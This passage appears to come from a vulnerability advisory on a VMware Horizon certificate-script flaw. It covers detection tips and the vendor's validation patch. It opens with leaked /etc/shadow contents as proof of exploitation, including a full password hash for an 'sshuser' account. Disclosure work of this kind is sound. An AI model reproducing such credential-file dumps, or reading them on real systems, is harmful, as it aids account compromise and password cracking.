systemd-timesync:x:18964:0:60:7:::
nobody:x:18964:0:60:7:::
sshd:!:18964:0:60:7:::
rabbitmq:!:18964::60::::
named:!:18964::60::::
postgres:!:18964:0:60:7:::
horizon:!:18964:0:60:7:::
sshuser:$6$1ppozTLmRlrslppH$8XxgQXUSOc.zUBTOkXFdaNR4Cmd2rPhyioLIQ.fiyvdIlMXGvpOWprt8JTZ12NOP1My2xqJpqewfP/BYLqvul1:18964:0:60:7:::
elasticsearch:!:18964::60::::

Detection

The file that is written to the /etc/ssl/certs directory will still be owned by root making the attacker unable to delete it. A crafty attacker would backup an existing certificate file or create a new one, leak the file of their choosing and then overwrite it again with a legitimate certificate to remove the evidence of their leaked file. Users should look for files out of place in this directory, and inspect timestamps and the certificate contents to identify potential exploitation attempts of this vulnerability.

Remediation

VMWare patched this issue with hotfix HW-154129. The patch for the affected script adds validation to ensure that the argument is a certificate file.

Diff:

< . /usr/local/horizon/scripts/hzn-bin.inc
< openssl x509 -noout -in $CERTFILE 2>/dev/null
< 
< if [ $? -ne 0 ]; then
<   echo "ERROR: This is not a certificate file"
<   exit 1
< fi
<